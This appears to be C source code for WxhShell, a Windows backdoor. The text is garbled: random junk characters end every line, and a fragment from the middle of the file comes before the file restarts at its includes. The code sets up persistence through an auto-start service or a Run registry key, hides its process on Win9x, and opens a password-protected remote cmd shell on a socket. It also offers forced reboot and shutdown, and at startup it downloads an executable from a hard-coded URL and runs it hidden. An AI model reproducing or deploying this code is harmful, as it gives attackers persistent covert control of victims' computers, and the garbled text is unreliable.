    if(Boot(SHUTDOWN)) XUz3*rfs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bD/~eIcWL  
    else { 3AU;>D^5  
    closesocket(wsh); TWA-.>c  
    ExitThread(0); Z'"tB/=W  
    } :]\([Q+a  
    break; eEuvl`&  
    } <StN%2WQ1  
  // 获取shell .&DhN#EN0  
  case 's': { 3j\1S1  
    CmdShell(wsh); ,P;Pm68V  
    closesocket(wsh); B}lvr-c#  
    ExitThread(0); u6AA4(  
    break; ~_/(t'9  
  } vEJWFoeEFm  
  // 退出 n*2UnKaJ  
  case 'x': { gt@m?w(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kqFP)!37  
    CloseIt(wsh); kM,C3x{A  
    break; 9[<)WQe6M  
    } RZXjgddL  
  // 离开 \G*0"%!U  
  case 'q': { =ALTUV3/q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bbE!qk;hEP  
    closesocket(wsh); ?l9XAW t\  
    WSACleanup(); D]zwl@sRX:  
    exit(1); nAv#?1cjz  
    break; aDU<wxnSvO  
        } |?,A]|j  
  } 1q7|OWFT  
  } i<#QW'R(  
.%xn&3  
  // 提示信息 A1O' |7X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sc;BCl{=|  
} 4K\G16'$v  
  } 8Vr%n2M  
AE[b},-[  
  return; JRB9rSN^  
} l3)} qu  
oKuI0-*mR  
// shell模块句柄 "&Y`+0S8  
int CmdShell(SOCKET sock) k>;`FFQU>  
{ qLD ?juas  
STARTUPINFO si; Q'=x|K#xj  
ZeroMemory(&si,sizeof(si)); dYJ(!V&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y [}.yyye  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UtoT  
PROCESS_INFORMATION ProcessInfo; os=e|vkB*  
char cmdline[]="cmd"; ,Lr. 9I.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "\w 7q  
  return 0; g6j?,c|y  
} 9jM}~XvV  
H#,W5EJzM  
// 自身启动模式 KcWN,!G  
int StartFromService(void) l+KY)6o  
{ d; boIP`M;  
typedef struct ~vm%6CABM  
{ Z^3rLCa  
  DWORD ExitStatus; m*&]!mM"0G  
  DWORD PebBaseAddress; o#3ly-ht  
  DWORD AffinityMask; ; ZA~p  
  DWORD BasePriority; |d{PA.@33  
  ULONG UniqueProcessId; D4eDHq  
  ULONG InheritedFromUniqueProcessId; Q /U2^  
}   PROCESS_BASIC_INFORMATION; $V -~Bu-  
_kef 0K6  
PROCNTQSIP NtQueryInformationProcess; ]L5@,E4.  
=^M/{51j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J,'M4O\S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'j#*6xD  
C0T;![/4A  
  HANDLE             hProcess; (KjoSN( K  
  PROCESS_BASIC_INFORMATION pbi; igCZ|Ru\  
W=N+VqK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |jGf<Bf5  
  if(NULL == hInst ) return 0; IaSR;/  
<FV1Wz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G#ZH.24Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &* M!lxDN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =W(Q34  
 dm\F  
  if (!NtQueryInformationProcess) return 0; $*^7iT4q_t  
G/)O@Ugp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6AAz  
  if(!hProcess) return 0; BX`{73sw  
D+rxT: d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bQg c8/  
X-bcQ@Oj  
  CloseHandle(hProcess); r8`ffH  
|mZxfI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ytn9B}%o  
if(hProcess==NULL) return 0; KI"#f$2&  
Z9v31)q(  
HMODULE hMod; ~[t[y~Hup  
char procName[255]; zfJT,h-{  
unsigned long cbNeeded; b6,iZ+]  
Z@4Ar fl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` 'DmDg  
5AFJC?   
  CloseHandle(hProcess); is?{MJZ_  
pC#E_*49  
if(strstr(procName,"services")) return 1; // 以服务启动 ROH|PKb7  
{:/#Nc$5  
  return 0; // 注册表启动 IPS4C[v  
} "{A(x }'Y4  
{5Q!Y&N.%  
// 主模块 S\CCrje  
int StartWxhshell(LPSTR lpCmdLine) x+\`gK5  
{ 2=*H 8'k  
  SOCKET wsl; OAgniLv  
BOOL val=TRUE; 9)l$ aBa  
  int port=0; #|uCgdi  
  struct sockaddr_in door; )HEa<P^kJl  
[:7'?$  
  if(wscfg.ws_autoins) Install(); xK>*yV  
"BM#4  
port=atoi(lpCmdLine); fW?vdYF  
P0;n9>g  
if(port<=0) port=wscfg.ws_port; /p/]t,-j2  
|Tv#4st  
  WSADATA data; z<MsKD0Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tR# OjkvX  
'+@=ILj>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &T#;-`'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $zUP?Gq!  
  door.sin_family = AF_INET; ]_)yIi"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CXH&U@57{  
  door.sin_port = htons(port); p/ ,=OaVU  
?e%ZOI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lt/1f{v[:  
closesocket(wsl);  {y)=eX9  
return 1; (^ J I%>  
} b!+hH Hv:  
ncaT?~u j  
  if(listen(wsl,2) == INVALID_SOCKET) { atj(eg  
closesocket(wsl); u^&^UxCA  
return 1; 4VHn  \  
} ><4<yj1  
  Wxhshell(wsl); !Mx$A$Oj>  
  WSACleanup(); ?w$kue  
T~-ycVc  
return 0; T;4NRC  
P?%s #I:  
} F|`Hm  
 \__i  
// 以NT服务方式启动 kpuz]a7pK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :@yEQ#nFp  
{ Jx:Y-$  
DWORD   status = 0; A@`}c,G  
  DWORD   specificError = 0xfffffff; L7l FtX+b  
]>!K3kB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }H53~@WP>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lw1Yvtn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !n`fTK<$  
  serviceStatus.dwWin32ExitCode     = 0; !M(xG%M-V  
  serviceStatus.dwServiceSpecificExitCode = 0; 6W/`07 '  
  serviceStatus.dwCheckPoint       = 0; %O;:af"Ja8  
  serviceStatus.dwWaitHint       = 0; W"scV@HKu  
EAUEQk?9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YqscZ(L:y  
  if (hServiceStatusHandle==0) return; 7P } W *  
9i:L&dN  
status = GetLastError(); ;[ZEDF5H  
  if (status!=NO_ERROR) Y_liA  
{ xR~h wj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7^avpf)>  
    serviceStatus.dwCheckPoint       = 0; +L$Xv  
    serviceStatus.dwWaitHint       = 0; -E[Kml~U  
    serviceStatus.dwWin32ExitCode     = status; I^.Om])  
    serviceStatus.dwServiceSpecificExitCode = specificError; O 2V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cp\6W[2+B  
    return; poE0{HOU  
  } ~g91Pr   
#<fRE"v:Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p%ki>p )E|  
  serviceStatus.dwCheckPoint       = 0; gt) I(  
  serviceStatus.dwWaitHint       = 0; ,~U>'&M;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !|(-=2`  
} 1er TldX  
3l~^06D  
// 处理NT服务事件,比如:启动、停止 KYm0@O>;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &C_j\7Dq  
{ cVv=*81\  
switch(fdwControl) `bq<$e  
{ }RF(CwZr(  
case SERVICE_CONTROL_STOP: b! t0w{^w  
  serviceStatus.dwWin32ExitCode = 0; kdiM5l70  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f_OQ./`  
  serviceStatus.dwCheckPoint   = 0; \doUTr R  
  serviceStatus.dwWaitHint     = 0; G[PtkPSJ  
  { #\{l"-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E_rI?t^  
  } gT. sj d  
  return; &u."A3(  
case SERVICE_CONTROL_PAUSE: `7E;VL^Y1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T=DbBy0-  
  break; yZY\MB/  
case SERVICE_CONTROL_CONTINUE: i}f"yO+Q+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iQ67l\{R  
  break; )MVz$h{c.]  
case SERVICE_CONTROL_INTERROGATE: Pm6p v;WK  
  break; j^sg6.Z*  
}; (XTG8W sN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k=$TGqQY?  
} tAd%#:K  
,L2ZinU:  
// 标准应用程序主函数 l\H=m3Bg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d0!5j  
{ >b}o~F^J  
8Al{+gx@?  
// 获取操作系统版本 C^Yb\N}S  
OsIsNt=GetOsVer(); -m zIT4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +HpA:]#Y  
 tU5zF.%  
  // 从命令行安装 'ZF{R3Xu  
  if(strpbrk(lpCmdLine,"iI")) Install(); KfEx"94  
0],r0  
  // 下载执行文件 5DU6rks%  
if(wscfg.ws_downexe) { =j_4S<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %A/0 '  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1t~G|zhX  
} n+9=1Oo"  
*8A  
if(!OsIsNt) { h+H%?:FX  
// 如果时win9x,隐藏进程并且设置为注册表启动 >h9I M$2  
HideProc(); )AtD}HEv  
StartWxhshell(lpCmdLine); !?jrf] A@  
} M] %?>G  
else _yx>TE2e  
  if(StartFromService()) VT)oLj/A  
  // 以服务方式启动 3*XNV  
  StartServiceCtrlDispatcher(DispatchTable); }"H,h)T  
else R%WCH?B<}  
  // 普通方式启动 r|8d 4  
  StartWxhshell(lpCmdLine); cl3K<'D  
B"w?;EeV.  
return 0; a5^] 20Fa  
} sE<V5`Z=  
7aRi5  
$rBq"u=,0+  
Pj^{|U21  
=========================================== 05#1w#i  
Y]_ruDIW  
F,F4nw<W  
2,oKVm+  
?=7 cF  
2zA4vZkbcw  
" :pY/-Cgv  
fw~Bza\e  
#include <stdio.h> (,\+tr8r8  
#include <string.h> `?rSlR@+[I  
#include <windows.h> U}[d_f  
#include <winsock2.h> NNR`!Pty  
#include <winsvc.h> |s(FLF-  
#include <urlmon.h> W\,s:6iqz  
nHAS(  
#pragma comment (lib, "Ws2_32.lib") {]!mrAjD  
#pragma comment (lib, "urlmon.lib") f}ji?p  
\)904W5R  
#define MAX_USER   100 // 最大客户端连接数 2]jn '4  
#define BUF_SOCK   200 // sock buffer Sv#XIMw{,  
#define KEY_BUFF   255 // 输入 buffer XEp{VC@=  
[!uG1GJ>  
#define REBOOT     0   // 重启 U$.@]F4&  
#define SHUTDOWN   1   // 关机 Zn+.;o)E<  
%XDc,AR[  
#define DEF_PORT   5000 // 监听端口 HZB>{O  
P )"m0Lu<  
#define REG_LEN     16   // 注册表键长度 2;`1h[,-^  
#define SVC_LEN     80   // NT服务名长度 b5I I/Y  
)9G[dDeC  
// 从dll定义API $9#H04.x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6<SAa#@ey  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %lhEM}Sm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c|y(2K)o[=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /{ l$sBUL  
,4e:I.b  
// wxhshell配置信息 G6P?2@  
struct WSCFG { H5B:;g@  
  int ws_port;         // 监听端口 iC32nY?  
  char ws_passstr[REG_LEN]; // 口令 GW@;}m(  
  int ws_autoins;       // 安装标记, 1=yes 0=no YUD`!C  
  char ws_regname[REG_LEN]; // 注册表键名 N,AQsloL7  
  char ws_svcname[REG_LEN]; // 服务名 6 7.+ .2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (zYt NLoFx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {X+3;&@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mHTXni<!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K(rWNO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [wOn|)& &  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n1t*sk/J  
Tbih+# ?  
}; }5[qo`M  
 / }X1W  
// default Wxhshell configuration '~<m~UXvD#  
struct WSCFG wscfg={DEF_PORT, K`WywH3-  
    "xuhuanlingzhe", Wx}8T[A}  
    1, X1|njJGO1  
    "Wxhshell", Jb@V}Ul$  
    "Wxhshell", qPK*%Q<;  
            "WxhShell Service", *b}HNX|  
    "Wrsky Windows CmdShell Service", ;O6;.5q&  
    "Please Input Your Password: ", ||= )d&  
  1, rig,mv  
  "http://www.wrsky.com/wxhshell.exe", o Q2Fjj  
  "Wxhshell.exe" `Bp.RXsd*  
    }; )gIKH{JYL  
0B/,/KX  
// 消息定义模块 Su7?;Oh/yI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $\BE&4g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S(I{NL}= $  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  hoUD;3  
char *msg_ws_ext="\n\rExit."; i2Qz4 $z  
char *msg_ws_end="\n\rQuit."; YMcD|Kbp  
char *msg_ws_boot="\n\rReboot..."; u#$]?($}d  
char *msg_ws_poff="\n\rShutdown..."; Y|f[bw  
char *msg_ws_down="\n\rSave to "; mt{nm[D!Xp  
KIf dafRL  
char *msg_ws_err="\n\rErr!"; gMmaK0uhS  
char *msg_ws_ok="\n\rOK!"; eS\Vib  
xb~yM%*c  
char ExeFile[MAX_PATH]; cWsNr'MS*  
int nUser = 0; vhW2PzHFRi  
HANDLE handles[MAX_USER]; Xll}x+'uZK  
int OsIsNt; O)*+="Rg  
O!#g<`r{K  
SERVICE_STATUS       serviceStatus; +H-6eP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9G#n 0&wRJ  
f!uwzHA`?  
// 函数声明 @[<><uTH  
int Install(void); s}9S8@#  
int Uninstall(void); Y-_`23x`  
int DownloadFile(char *sURL, SOCKET wsh); R6Km\N  
int Boot(int flag); m@2QnA[ 4  
void HideProc(void); KNvZm;Q6  
int GetOsVer(void); gnOt+W8  
int Wxhshell(SOCKET wsl); @ $ ;q ;  
void TalkWithClient(void *cs); hHGoP0/o  
int CmdShell(SOCKET sock); U0y%u  
int StartFromService(void); Eu d*_>|  
int StartWxhshell(LPSTR lpCmdLine); /wEhVR`=  
Ys!82M$g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^e_hLX\SW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x7&B$.>3  
wr/"yQA]  
// 数据结构和表定义 qZtzO2Mt  
SERVICE_TABLE_ENTRY DispatchTable[] = !mJ"gg  
{ v!6  c0a  
{wscfg.ws_svcname, NTServiceMain}, P6-s0]-g  
{NULL, NULL} Z, Yb&b  
}; 8B K(4?gC  
qFCOUl  
// 自我安装 xw,IJ/E$1  
int Install(void) .+3g*Dv{&  
{ ?W?c 1>  
  char svExeFile[MAX_PATH]; df4A RP+  
  HKEY key;  F2LLN  
  strcpy(svExeFile,ExeFile); :Uzm  
M#4p E_G  
// 如果是win9x系统,修改注册表设为自启动 30#s aGV  
if(!OsIsNt) { /tx]5`#@7]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;~ )5s'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y| i,|  
  RegCloseKey(key); J s@hLP `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \O3m9,a   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5I)^B<(  
  RegCloseKey(key); rxvx  
  return 0; {l1.2!  
    } ifMRryN4  
  } 2 /\r)$ 2i  
} ArI2wM/v  
else { 8oy^Xc+  
BQE|8g'&T  
// 如果是NT以上系统,安装为系统服务 b.JuI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u"cV%(#  
if (schSCManager!=0) ar!R|zmf  
{ 58tARLDr  
  SC_HANDLE schService = CreateService *k(XW_>  
  ( y*jp79G  
  schSCManager, JW83Tp8[8  
  wscfg.ws_svcname, h,u, ^ r  
  wscfg.ws_svcdisp, %op**@4/t\  
  SERVICE_ALL_ACCESS, Q^9_' t}X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )Pa'UGY  
  SERVICE_AUTO_START, ah4N|zJ>v  
  SERVICE_ERROR_NORMAL, {Qf=G|Ah  
  svExeFile, FF`T\&u  
  NULL,  9X+V4xux  
  NULL, m{Wu" ;e  
  NULL, Y1W1=Uc uk  
  NULL, urs,34h  
  NULL .LnGL]/  
  ); q.^;!f1  
  if (schService!=0) 8?#/o c  
  { rK6l8)o  
  CloseServiceHandle(schService); i4Q@K,$  
  CloseServiceHandle(schSCManager); O'p9u@kc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uou1mZz/  
  strcat(svExeFile,wscfg.ws_svcname); #?aPisV X>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mUAi4N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a8e6H30Sm  
  RegCloseKey(key); T9E+\D  
  return 0; Tj` ,Z5vy  
    } "yy5F>0Wt  
  } >-RQ]?^  
  CloseServiceHandle(schSCManager); ~OYiq}g  
} x*\Y)9Vgy  
} }#RakV4  
zOAd~E  
return 1; %8B}Cb&2c  
} A7Cm5>Y_S  
kYP#SH/  
// 自我卸载 CAig ]=2'  
int Uninstall(void) #1A.?p  
{ !OhC/f(GBZ  
  HKEY key; R6<X%*&%  
\_VA 50  
if(!OsIsNt) { h ohfE3rd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T[w]o}>cW  
  RegDeleteValue(key,wscfg.ws_regname); _2Zx?<] 2E  
  RegCloseKey(key); h9&0Z +zs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !3c\NbU  
  RegDeleteValue(key,wscfg.ws_regname); 1Z/(G1  
  RegCloseKey(key); 13$%,q)  
  return 0; )Yh+c=6 ?  
  } gS!:+G%  
} t9GR69v:?  
} /Vx7mF:  
else { HYD'.uj  
htO +z7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y!aSs3c  
if (schSCManager!=0) :%_LpZ  
{ g{]0sn#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8rAg \H3E  
  if (schService!=0) WH#1 zv  
  { > ym,{EHK  
  if(DeleteService(schService)!=0) { rQ{7j!Im  
  CloseServiceHandle(schService); )` SrfGp8  
  CloseServiceHandle(schSCManager); &)# ihK_  
  return 0; b"<liGh"n-  
  } #X+JHl  
  CloseServiceHandle(schService); W@M:a  
  } 5 Aw"B  
  CloseServiceHandle(schSCManager); ;RZ )  
} Di,^%  
} P8OaoPj  
:_`F{rDB  
return 1; \S `:y?[Y  
} \}yc`7T:L0  
"=HA Y  
// 从指定url下载文件 B {n,t}z  
int DownloadFile(char *sURL, SOCKET wsh) TNT4<5Ol6  
{ =g7x' kN  
  HRESULT hr; 9R!atPz9  
char seps[]= "/"; 1 fp?  
char *token; F$y$'Rzu_B  
char *file; )J o: pkM  
char myURL[MAX_PATH]; Co9^OF-k  
char myFILE[MAX_PATH]; rK 8lBy:<  
CImWd.W9~  
strcpy(myURL,sURL); rm'SOJVA  
  token=strtok(myURL,seps); h ]5(].  
  while(token!=NULL) JMCKcZ%N  
  { g.k"]lP  
    file=token; .r=4pQ@#  
  token=strtok(NULL,seps); ?> 9/#Nv  
  } rET\n(AJ  
x;O[c3I  
GetCurrentDirectory(MAX_PATH,myFILE); q^@Q"J =v  
strcat(myFILE, "\\"); 7(1|xYCx$  
strcat(myFILE, file); lf`{zc r:  
  send(wsh,myFILE,strlen(myFILE),0); (q/e1L-S  
send(wsh,"...",3,0); do hA0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #H&|*lr  
  if(hr==S_OK) xJpA0_xfG  
return 0; ?d\N(s9F  
else  \{_q.;}  
return 1; RT4x\&q  
q_:4w$>  
} "`/h#np  
+q<jAW A  
// 系统电源模块 +uF>2b6'  
int Boot(int flag) -u+vJ6EY  
{ Gm&Za,4%4  
  HANDLE hToken; s2p\]|5  
  TOKEN_PRIVILEGES tkp; j<m(PHSe  
3GYw+%Z]  
  if(OsIsNt) { etDk35!h~,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;$,U~0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); soB,j3#p'*  
    tkp.PrivilegeCount = 1; n-2]M0 5O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >a<.mU|#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b}$+H/V  
if(flag==REBOOT) { oi7@s0@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E:_ZA  
  return 0; RF$eQzW  
} d UE,U=  
else { b<[Or^X ]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *uRBzO}  
  return 0; k!j5tsiR  
} )b L'[h  
  } 0@0w+&*"@  
  else { 4&lv6`G `  
if(flag==REBOOT) { D(op)]8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GRIti9GD  
  return 0; [T4J{y64Y  
} /|m2WxK)  
else { S&5&];Ag  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H\"sgoJ  
  return 0; [o#oa k{U  
} XAKs0*J>  
} h]&GLb&<?  
wD}l$ & +  
return 1; .&iawz  
} W &W5lArr  
#<"~~2?  
// win9x进程隐藏模块 JPI3[.o  
void HideProc(void) |)DGkOtd  
{ HXC ;Np  
G^|:N[>B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .[KrlfI  
  if ( hKernel != NULL ) m]0;"jeL  
  { VR8-&N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WF+99?75  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V]6dscQ  
    FreeLibrary(hKernel); ;6 D@A  
  } ea2ayT  
yx8z4*]kH  
return; wo{gG?B  
} `:fZ)$sY  
 :A_@,Q  
// 获取操作系统版本 ,Ks8*;#r  
int GetOsVer(void) WM$ MPs  
{ l~q\3UKlt  
  OSVERSIONINFO winfo; Y=?3 js?O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;u ({\K  
  GetVersionEx(&winfo); ,.8KN<A2]'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vzAaxk%  
  return 1; qH>d  
  else oUlY?x1  
  return 0; @ CL{D:d  
} Y;M|D'y+  
SYJD?&C;  
// 客户端句柄模块 ?pmHFlx  
int Wxhshell(SOCKET wsl) a$OE0zn`  
{ N0Lw}@p  
  SOCKET wsh; 9d659i C  
  struct sockaddr_in client; Tn e4  
  DWORD myID; qOtgve`jX  
kd(8I_i@  
  while(nUser<MAX_USER) `wEb<H  
{ 20h, ^  
  int nSize=sizeof(client); .f2bNnB~pP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g}{aZ$sta  
  if(wsh==INVALID_SOCKET) return 1; RWZSQ~  
;7V%#-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L|7R9+ZG  
if(handles[nUser]==0) c ( C%Hld  
  closesocket(wsh); I-*S&SiXjI  
else $szqy?i 0?  
  nUser++; 5r|,CQ7o  
  } OX!tsARC@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 19)i*\+  
I;|B.j  
  return 0; sY Qk  
} %/.b~|,-  
lT?v^\(H  
// 关闭 socket ;bib/  
void CloseIt(SOCKET wsh) 8qTys8  
{ I"<\<^B<  
closesocket(wsh); _7 L-<  
nUser--; Om\vMd@!  
ExitThread(0); *Kg ks4  
} LckK\`mh  
Hg izW  
// 客户端请求句柄 zu{P#~21  
void TalkWithClient(void *cs) ,!y$qVg'\f  
{  }q`S$P;  
#OD/$f_  
  SOCKET wsh=(SOCKET)cs; ,m:.-iy?  
  char pwd[SVC_LEN]; & l&:`nsJ  
  char cmd[KEY_BUFF]; 0&|\N ? 8_  
char chr[1]; E,U+o $  
int i,j; kJsN|=  
& G4\2l9  
  while (nUser < MAX_USER) { xF'EiX~  
q dBrQC  
if(wscfg.ws_passstr) { zKJ#`OhT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d#4**BM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )23H1  
  //ZeroMemory(pwd,KEY_BUFF); IY\5@PVZ  
      i=0; "(~^w=d:$  
  while(i<SVC_LEN) { cf20.F{<  
7' V@+5  
  // 设置超时 ZDYJ\}=  
  fd_set FdRead; >uhaW@d  
  struct timeval TimeOut; K`zdc`/  
  FD_ZERO(&FdRead); m@v\(rT.  
  FD_SET(wsh,&FdRead); IK=a*}19L  
  TimeOut.tv_sec=8; /]Md~=yNp  
  TimeOut.tv_usec=0; h2]P]@nW;W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xj;H&swo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~IBP|)WA-  
MaQqs=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :>f )g  
  pwd=chr[0]; }@q`%uzi  
  if(chr[0]==0xd || chr[0]==0xa) { FbFPJ !fb  
  pwd=0; 37.S\ gO]  
  break; K;H&n1  
  } `0gyr(fES  
  i++; nT$SfGFj8  
    } WO>nIo5Y  
D8?Vn"  
  // 如果是非法用户,关闭 socket @,my7?::oM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CxW>~O:  
} ^%{7}g&$u  
T_5H&;a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D.u{~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mL{6L?  
"&?kC2Y|  
while(1) { ^A&1^B  
`e&Suyf4B  
  ZeroMemory(cmd,KEY_BUFF); G}raA%  
|3"KK  
      // 自动支持客户端 telnet标准   p%=u#QNi  
  j=0; )}Kf=  
  while(j<KEY_BUFF) { #r\4sVg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|fH y  
  cmd[j]=chr[0]; 4!yzsPJL  
  if(chr[0]==0xa || chr[0]==0xd) { Moza".fiN  
  cmd[j]=0; "`e{/7I  
  break; 2-EIE4ds  
  } 5e^ChK0Q  
  j++; D'Df JwA  
    } v$wIm,j  
3bH'H*2  
  // 下载文件 aeM+ d`f  
  if(strstr(cmd,"http://")) { &@OT*pNna  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x g  
  if(DownloadFile(cmd,wsh)) ndMA-`Ny,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dkTX  
  else Aw.qK9I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &B1WtW  
  } eru.m+\  
  else { p}~JgEE  
6O!2P  
    switch(cmd[0]) { i<Zc"v;  
  VjZ|$k  
